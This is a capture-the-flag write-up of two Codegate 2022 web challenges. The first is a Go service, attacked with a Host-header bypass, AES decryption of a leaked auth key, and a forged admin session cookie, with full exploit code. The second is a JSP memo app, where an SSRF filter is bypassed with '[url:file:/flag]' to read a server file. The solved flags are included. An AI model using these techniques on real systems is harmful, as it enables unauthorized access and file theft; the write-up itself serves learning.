Team : APT0
Rank : 32/141th
This chall was too hard for me, the web service made by golang was given.
I didn't have any idea of golang web service.
They have app.conf file and using that values on main function. Here is the FLAG's location, but it was REDEACTED.
app.conf
app_name = superbee
auth_key = [----------REDEACTED------------]
id = admin
password = [----------REDEACTED------------]
flag = [----------REDEACTED------------]
func main() {
app_name, _ = web.AppConfig.String("app_name")
auth_key, _ = web.AppConfig.String("auth_key")
auth_crypt_key, _ = web.AppConfig.String("auth_crypt_key")
admin_id, _ = web.AppConfig.String("id")
admin_pw, _ = web.AppConfig.String("password")
flag, _ = web.AppConfig.String("flag")
web.AutoRouter(&MainController{})
web.AutoRouter(&LoginController{})
web.AutoRouter(&AdminController{})
web.Run()
}
They using "Controller" to controll web service, There was Main/Login/Admin and Base Controller. The Controller make /main/~, /login/~, /admin/~ service.
The key service is main/index
func (this *MainController) Index() {
this.TplName = "index.html"
this.Data["app_name"] = app_name
this.Data["flag"] = flag
this.Render()
}
Every controllers should passing the Basecontroller's Prepace()
function.
func (this *BaseController) Prepare() {
controllerName, _ := this.GetControllerAndAction()
session := this.Ctx.GetCookie(Md5("sess"))
if controllerName == "MainController" {
if session == "" || session != Md5(admin_id + auth_key) {
this.Redirect("/login/login", 403)
return
}
} else if controllerName == "LoginController" {
if session != "" {
this.Ctx.SetCookie(Md5("sess"), "")
}
} else if controllerName == "AdminController" {
domain := this.Ctx.Input.Domain()
if domain != "localhost" {
this.Abort("Not Local")
return
}
}
}
If we want to access main/index we should set the cookie value as Md5("sess")=Md5(admin_id + auth_key);
The admin_id = "admin"
according to app.conf
but, we don't know auth_key
value.
There is admin/authkey
service, and this service make AesEncrypt
value by auth_key
& auth_crypt_key
func (this *AdminController) AuthKey() {
encrypted_auth_key, _ := AesEncrypt([]byte(auth_key), []byte(auth_crypt_key))
this.Ctx.WriteString(hex.EncodeToString(encrypted_auth_key))
}
func AesEncrypt(origData, key []byte) ([]byte, error) {
padded_key := Padding(key, 16)
block, err := aes.NewCipher(padded_key)
if err != nil {
return nil, err
}
blockSize := block.BlockSize()
origData = Padding(origData, blockSize)
blockMode := cipher.NewCBCEncrypter(block, padded_key[:blockSize])
crypted := make([]byte, len(origData))
blockMode.CryptBlocks(crypted, origData)
return crypted, nil
}
func Padding(ciphertext []byte, blockSize int) []byte {
padding := blockSize - len(ciphertext)%blockSize
padtext := bytes.Repeat([]byte{byte(padding)}, padding)
return append(ciphertext, padtext...)
}
1) We should bypass Admincontroller to get AesEncrypted value
2) decrypt that to get auth_key
value
3) set Md5("sess")=Md5(admin_id + auth_key);
to get FLAG
We can bypass domain filter by changing requests packet's host value 3.39.49.174:30001 -> localhost:30001
The key value is essential to using AesEncrypt
, but this service made padded_key := Padding(key, 16)
to solve this problem.
We can find the original AesEncrypt()
function in GO security
https://github.com/chennqqi/goutils/blob/v0.1.6/security/aes.go
Checking the diffrences of original and chall's AesEncrypt()
.
// The Original
func AesEncrypt(origData, key []byte) ([]byte, error) {
block, err := aes.NewCipher(key)
if err != nil {
return nil, err
}
blockSize := block.BlockSize()
origData = PKCS7Padding(origData, blockSize)
blockMode := cipher.NewCBCEncrypter(block, key[:blockSize])
crypted := make([]byte, len(origData))
blockMode.CryptBlocks(crypted, origData)
return crypted, nil
}
// Given in chall
func AesEncrypt(origData, key []byte) ([]byte, error) {
padded_key := Padding(key, 16) // padded_key
block, err := aes.NewCipher(padded_key) // padded_key
if err != nil {
return nil, err
}
blockSize := block.BlockSize()
origData = Padding(origData, blockSize)
blockMode := cipher.NewCBCEncrypter(block, padded_key[:blockSize]) // padded_key
crypted := make([]byte, len(origData))
blockMode.CryptBlocks(crypted, origData)
return crypted, nil
}
They using padded_key
instead of key
value. Thus, we can find auth_key
using AesDecrpyt()
function using padded_key
.
If we know auth_key
, Step 3 is very simple set Md5("sess")=Md5(admin_id + auth_key);
to get FLAG
package main
import (
"bytes"
"crypto/aes"
"crypto/cipher"
"crypto/md5"
"encoding/hex"
"fmt"
)
func Md5(s string) string {
h := md5.New()
h.Write([]byte(s))
return hex.EncodeToString(h.Sum(nil))
}
func Padding(ciphertext []byte, blockSize int) []byte {
padding := blockSize - len(ciphertext)%blockSize
padtext := bytes.Repeat([]byte{byte(padding)}, padding)
return append(ciphertext, padtext...)
}
func UnPadding(origData []byte) []byte {
length := len(origData)
unpadding := int(origData[length-1])
return origData[:(length - unpadding)]
}
func AesEncrypt(origData, key []byte) ([]byte, error) {
padded_key := Padding(key, 16)
block, err := aes.NewCipher(padded_key)
if err != nil {
return nil, err
}
blockSize := block.BlockSize()
origData = Padding(origData, blockSize)
blockMode := cipher.NewCBCEncrypter(block, padded_key[:blockSize])
crypted := make([]byte, len(origData))
blockMode.CryptBlocks(crypted, origData)
return crypted, nil
}
func AesDecrypt(crypted, key []byte) ([]byte, error) {
padded_key := Padding(key, 16)
block, err := aes.NewCipher(padded_key)
if err != nil {
return nil, err
}
blockSize := block.BlockSize()
blockMode := cipher.NewCBCDecrypter(block, padded_key[:blockSize])
origData := make([]byte, len(crypted))
blockMode.CryptBlocks(origData, crypted)
origData = UnPadding(origData)
return origData, nil
}
func AuthKey() {
crypted, err := hex.DecodeString("00fb3dcf5ecaad607aeb0c91e9b194d9f9f9e263cebd55cdf1ec2a327d033be657c2582de2ef1ba6d77fd22784011607")
if err != nil {
fmt.Println()
}
decrypted_auth_key, _ := AesDecrypt(crypted, []byte(""))
fmt.Println("# [byte]decrypted_auth_key :",decrypted_auth_key)
fmt.Println("# decrypted_auth_key :",string(decrypted_auth_key[:]))
admin_id := "admin"
auth_key := string(decrypted_auth_key[:])
encrypted_auth_key, _ := AesEncrypt(decrypted_auth_key, []byte(""))
fmt.Println("# encrypted_auth_key :",hex.EncodeToString(encrypted_auth_key))
fmt.Println()
fmt.Println("######## Cookie ########")
fmt.Print(Md5("sess"),"=",Md5(admin_id + auth_key),";")
}
func main() {
AuthKey()
}
Set cookie and sending request
FLAG : codegate2022{d9adbe86f4ecc93944e77183e1dc6342}
[team mate solved]
This was JSP chall, more familiar than golang.
They have Memo service to write & read content.
There was XSS vuln, but the FLAG was saved in server as a txt file
Thus, i thought this is not a XSS chall.
When decompile MemoServlet.class
using Java Decompiler, we can find the lookupImg()
.
private static String lookupImg(String memo) {
Pattern pattern = Pattern.compile("(\\[[^\\]]+\\])");
Matcher matcher = pattern.matcher(memo);
String img = "";
if (matcher.find()) {
img = matcher.group();
} else {
return "";
}
String tmp = img.substring(1, img.length() - 1);
tmp = tmp.trim().toLowerCase();
pattern = Pattern.compile("^[a-z]+:");
matcher = pattern.matcher(tmp);
if (!matcher.find() || matcher.group().startsWith("file"))
return "";
String urlContent = "";
try {
URL url = new URL(tmp);
BufferedReader in = new BufferedReader(new InputStreamReader(url.openStream()));
String inputLine = "";
while ((inputLine = in.readLine()) != null)
urlContent = urlContent + inputLine + "\n";
in.close();
} catch (Exception e) {
return "";
}
Base64.Encoder encoder = Base64.getEncoder();
try {
String encodedString = new String(encoder.encode(urlContent.getBytes("utf-8")));
memo = memo.replace(img, "<img src='data:image/jpeg;charset=utf-8;base64," + encodedString + "'><br/>");
return memo;
} catch (Exception e) {
return "";
}
}
lookupImg()
function help user to upload image file on memo service. And using !matcher.find() || matcher.group().startsWith("file")
to ban file:/
.
They using openStream()
so we can think about SSRF.
https://find-sec-bugs.github.io/bugs.htm#URLCONNECTION_SSRF_FD
Then, we should bypass !matcher.find() || matcher.group().startsWith("file")
to execute file:/flag
.
In url writing, we can bypass some front value by using @
letter. But, can not write :
after the @
letter.
There are several protocols like dict:// sftp:// ldap:// gopher://
. However, nothing helpful.
https://grooveshark.tistory.com/80
lookupImg();
doing URL url = new URL(tmp);
after filtering and before openStream()
. jdk version is 11 (according to the Dockfile
given).
Simple PoC of URL()
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import java.net.URL;
import java.io.InputStreamReader;
import java.io.BufferedReader;
import java.util.Base64;
public class MyClass {
public static void main(String args[]) {
String memo = "[url:file:/flag]";
Pattern pattern = Pattern.compile("(\\[[^\\]]+\\])");
System.out.println(pattern);
//(\[[^\]]+\])
Matcher matcher = pattern.matcher(memo);
System.out.println(matcher);
//java.util.regex.Matcher[pattern=(\[[^\]]+\]) region=0,30 lastmatch=]
String img = "";
String yoobi = "";
if (matcher.find()) {
img = matcher.group();
}
String tmp = img.substring(1, img.length() - 1);
System.out.println(tmp);
//http://3.39.72.134/memo/list
tmp = tmp.trim().toLowerCase();
System.out.println(tmp);
//http://3.39.72.134/memo/list
pattern = Pattern.compile("^[a-z]+:");
System.out.println(pattern);
//^[a-z]+:
matcher = pattern.matcher(tmp);
System.out.println(matcher);
//java.util.regex.Matcher[pattern=^[a-z]+: region=0,28 lastmatch=]
/*
matcher.find();
System.out.println(matcher.group());
//http:
*/
if (!matcher.find() || matcher.group().startsWith("file"))
{
System.out.println("OMG1");
System.exit(1);
}
String urlContent = "";
try {
System.out.println("before URL(): " + tmp);
//http://3.39.72.134/memo/list
URL url = new URL(tmp);
System.out.println("before URL(): " + url);
urlContent = "ABCD";
} catch (Exception e) {
System.out.println(e);
System.out.println("OMG2");
System.exit(1);
}
Base64.Encoder encoder = Base64.getEncoder();
try {
String encodedString = new String(encoder.encode(urlContent.getBytes("utf-8")));
memo = memo.replace(img, "<img src='data:image/jpeg;charset=utf-8;base64," + encodedString + "'><br/>");
System.out.println(memo);
System.exit(1);
} catch (Exception e) {
System.out.println("OMG3");
System.exit(1);
}
}
}
We can get the FLAG by [url:file:/flag]
FLAG : codegate2022{8953bf834fdde34ae51937975c78a895863de1e1}